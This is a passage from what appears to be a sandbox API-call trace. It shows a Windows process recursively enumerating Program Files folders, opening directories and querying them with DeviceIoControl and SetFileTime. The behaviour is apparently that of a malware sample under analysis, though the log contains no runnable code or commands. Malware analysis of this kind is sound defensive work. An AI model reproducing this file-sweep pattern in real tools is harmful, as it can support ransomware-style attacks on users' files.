lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa547efa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa547efa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google", cAlternateFileName="")) returned 1 [0081.073] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f9ad250, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f9ad250, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="")) returned 1 [0081.073] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa00d1450, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00d1450, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0081.073] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa0ecd590, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0ecd590, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="")) returned 1 [0081.073] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa0ecd590, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0ecd590, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="")) returned 1 [0081.073] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa00f75b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00f75b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Visual Studio 8", cAlternateFileName="")) returned 1 [0081.073] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f1bbe30, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET", cAlternateFileName="")) returned 1 [0081.073] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaeef6000, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1a38c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf1a38c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox", cAlternateFileName="")) returned 1 [0081.073] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf770e60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb08409c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb08409c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Maintenance Service", cAlternateFileName="")) returned 1 [0081.073] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0143870, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0143870, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0081.073] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ff2e530, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff2e530, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="")) returned 1 [0081.073] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x9ff7a7f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff7a7f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="")) returned 1 [0081.073] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ffa0950, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ffa0950, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="")) returned 1 [0081.073] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa011d710, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa011d710, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="")) returned 1 [0081.073] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f9870f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f9870f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="")) returned 1 [0081.073] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9ff2e530, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff2e530, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="")) returned 1 [0081.073] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ffecc10, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ffecc10, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="")) returned 1 [0081.073] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9b7348a4, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9b7348a4, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="")) returned 1 [0081.073] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ffa0950, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ffa0950, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="")) returned 1 [0081.073] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ffa0950, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ffa0950, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="")) returned 0 [0081.073] GetLastError () returned 0x12 [0081.073] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\*", fInfoLevelId=0x1, lpFindFileData=0x119f77c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f77c) returned 0x2e9180 [0081.073] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0081.074] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.074] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x9ffecc10, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ffecc10, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0081.074] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0081.074] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe" (normalized: "c:\\program files (x86)\\adobe"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x9ffecc10, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ffecc10, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.074] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe" (normalized: "c:\\program files (x86)\\adobe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0081.074] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0081.074] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0081.074] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0081.074] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0081.075] NtClose (Handle=0x15c) returned 0x0 [0081.075] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0081.075] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0081.075] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0081.075] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0081.075] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f40 [0081.075] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x9ffecc10, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ffecc10, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.075] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbee149c0, ftCreationTime.dwHighDateTime=0x1d57b85, ftLastAccessTime.dwLowDateTime=0xd90e0bc0, ftLastAccessTime.dwHighDateTime=0x1d56f79, ftLastWriteTime.dwLowDateTime=0xd90e0bc0, ftLastWriteTime.dwHighDateTime=0x1d56f79, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="far.exe", cAlternateFileName="")) returned 1 [0081.075] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe0a0 [0081.076] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe0a0) returned 1 [0081.076] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe0a0 [0081.076] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe0a0) returned 1 [0081.076] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe0a0 [0081.076] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe0a0) returned 1 [0081.076] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff82aa20, ftCreationTime.dwHighDateTime=0x1d5af77, ftLastAccessTime.dwLowDateTime=0xd236bfa0, ftLastAccessTime.dwHighDateTime=0x1d53f4e, ftLastWriteTime.dwLowDateTime=0xd236bfa0, ftLastWriteTime.dwHighDateTime=0x1d53f4e, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ill-multiple.exe", cAlternateFileName="")) returned 1 [0081.076] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe0a0 [0081.077] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe0a0) returned 1 [0081.077] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe0a0 [0081.077] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe0a0) returned 1 [0081.077] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe0a0 [0081.077] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe0a0) returned 1 [0081.077] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ed8ae0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader 10.0", cAlternateFileName="")) returned 1 [0081.077] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22d3db80, ftCreationTime.dwHighDateTime=0x1d56ddc, ftLastAccessTime.dwLowDateTime=0x24333300, ftLastAccessTime.dwHighDateTime=0x1d54ce3, ftLastWriteTime.dwLowDateTime=0x24333300, ftLastWriteTime.dwHighDateTime=0x1d54ce3, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="trillian.exe", cAlternateFileName="")) returned 1 [0081.077] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe0a0 [0081.078] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe0a0) returned 1 [0081.078] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe0a0 [0081.078] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe0a0) returned 1 [0081.078] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe0a0 [0081.078] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe0a0) returned 1 [0081.078] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22d3db80, ftCreationTime.dwHighDateTime=0x1d56ddc, ftLastAccessTime.dwLowDateTime=0x24333300, ftLastAccessTime.dwHighDateTime=0x1d54ce3, ftLastWriteTime.dwLowDateTime=0x24333300, ftLastWriteTime.dwHighDateTime=0x1d54ce3, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="trillian.exe", cAlternateFileName="")) returned 0 [0081.078] GetLastError () returned 0x12 [0081.078] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9000 [0081.079] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0081.079] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x9ffecc10, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ffecc10, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.079] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbee149c0, ftCreationTime.dwHighDateTime=0x1d57b85, ftLastAccessTime.dwLowDateTime=0xd90e0bc0, ftLastAccessTime.dwHighDateTime=0x1d56f79, ftLastWriteTime.dwLowDateTime=0xd90e0bc0, ftLastWriteTime.dwHighDateTime=0x1d56f79, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="far.exe", cAlternateFileName="")) returned 1 [0081.079] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff82aa20, ftCreationTime.dwHighDateTime=0x1d5af77, ftLastAccessTime.dwLowDateTime=0xd236bfa0, ftLastAccessTime.dwHighDateTime=0x1d53f4e, ftLastWriteTime.dwLowDateTime=0xd236bfa0, ftLastWriteTime.dwHighDateTime=0x1d53f4e, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ill-multiple.exe", cAlternateFileName="")) returned 1 [0081.079] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ed8ae0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader 10.0", cAlternateFileName="")) returned 1 [0081.079] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe0a0 [0081.079] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ed8ae0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0081.079] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0081.079] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0081.079] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0081.079] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0081.080] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0081.080] NtClose (Handle=0x15c) returned 0x0 [0081.080] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe0a0) returned 1 [0081.080] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe0a0 [0081.080] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fde80 [0081.080] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe1b0 [0081.080] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e8f40 [0081.080] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ed8ae0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.081] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4268, dwReserved0=0x0, dwReserved1=0x0, cFileName="Benioku.htm", cAlternateFileName="")) returned 1 [0081.081] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.082] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.082] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0081.082] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0081.082] RtlAllocateHeap (HeapHandle=0x940000, 